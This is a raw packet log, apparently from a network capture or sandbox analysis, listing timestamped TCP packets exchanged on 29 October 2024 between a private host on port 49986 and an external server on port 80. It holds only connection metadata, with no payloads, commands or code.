Oct 29, 2024 20:36:29.280756950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.280766010 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.280803919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.280822039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.310683966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.310704947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.310726881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.310738087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.310818911 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.310822964 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.310833931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.310887098 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.311805010 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.311825037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.311835051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.311894894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.311903000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.311956882 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.311985970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.312057018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.324438095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.324460030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.324470043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.324543953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.324542999 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.324556112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.324647903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.365669012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.365719080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.365731001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.365885019 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.365885973 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.386152983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.386225939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.386265993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.386282921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.386367083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.386367083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.386367083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.386367083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.396740913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.396764994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.396775961 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.396796942 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.396836996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.396994114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397038937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397041082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397052050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397075891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397094965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397149086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397161007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397195101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397228956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397268057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397273064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397306919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397372007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397412062 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397464037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397483110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397506952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397530079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397531033 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397542000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397568941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397584915 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397625923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397636890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397648096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397660017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.397663116 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397691011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.397721052 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.398488045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.398520947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.398531914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.398541927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.398555040 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.398580074 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.398608923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.398619890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.398631096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.398653030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.398688078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.398718119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.398729086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.398766041 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.428919077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.428931952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.428947926 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.428958893 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.428971052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.429080009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.429930925 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.429944038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.429954052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.430032969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.430054903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.430084944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.430097103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.430128098 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.430170059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.442442894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.442493916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.442498922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.442540884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.442553043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.442564011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.442574978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.442586899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.442591906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.442615032 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.442645073 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.483933926 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.483948946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.483961105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.483995914 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.484029055 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.484045982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.484074116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.484090090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.484119892 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.504393101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.504405975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.504415989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.504581928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.514780045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.514791965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.514905930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.514918089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.514929056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.514997959 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.514997959 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.515041113 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.515481949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515494108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515505075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515567064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.515661001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.515680075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515691996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515702963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515763044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515769005 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.515784025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515794992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515806913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515818119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.515887976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.516129971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516140938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516150951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516179085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.516206026 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.516493082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516562939 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.516608000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516623974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516634941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516649961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.516665936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516684055 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.516720057 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.516746998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516758919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516768932 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.516791105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.516822100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.546869040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.546888113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.546897888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.546911001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.546983957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.547009945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.547023058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.547065973 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.547821045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.547832966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.547842026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.547878981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.547905922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.548042059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.548053980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.548063040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.548094034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.548125029 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.560657024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.560715914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.560726881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.560733080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.560756922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.560769081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.560781956 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.560782909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.560812950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.560862064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.601632118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.601650953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.601660967 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.601706982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.601735115 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.601756096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.601785898 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.601809978 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.601834059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.601852894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.601862907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.601902008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.622406006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.622448921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.622458935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.622464895 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.622482061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.622488976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.622510910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.622533083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.632976055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.632997990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633009911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633027077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633055925 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633068085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633105040 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633126974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633138895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633163929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633184910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633193016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633203983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633215904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633225918 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633260965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633630037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633687019 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633717060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633761883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633769989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633802891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633830070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633878946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633903980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633914948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.633953094 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.633970022 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.634116888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634129047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634134054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634208918 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.634325981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634354115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634363890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634380102 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.634433985 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.634572983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634625912 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.634651899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634664059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634685040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.634706020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.634742975 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.635015011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.635025024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.635035992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.635071039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.635082960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.635093927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.635107040 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.635152102 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.665201902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.665226936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.665239096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.665250063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.665263891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.665270090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.665746927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.665746927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.665977001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.666003942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.666016102 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.666029930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.666058064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.666171074 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.666224003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.666234970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.666241884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.666258097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.666299105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.679061890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.679128885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.679133892 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.679141045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.679173946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.679191113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.679202080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.679203987 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.679228067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.679255009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.719903946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.719921112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.719933033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.719970942 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.720012903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.720079899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.720132113 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.720150948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.720165014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.720194101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.720216990 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.720230103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.720241070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.720264912 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.720304012 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.740686893 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.740736961 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.740796089 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.740833044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.741065979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.741116047 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.741141081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.741189003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.751382113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.751444101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.751466036 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.751480103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.751492023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.751511097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.751518011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.751542091 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.751569986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.751580954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.751589060 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.751594067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.751622915 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.751671076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.752110004 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.752160072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:29.752177000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:29.752188921 CET	80	49986	185.215.113.16	192.168.2.7
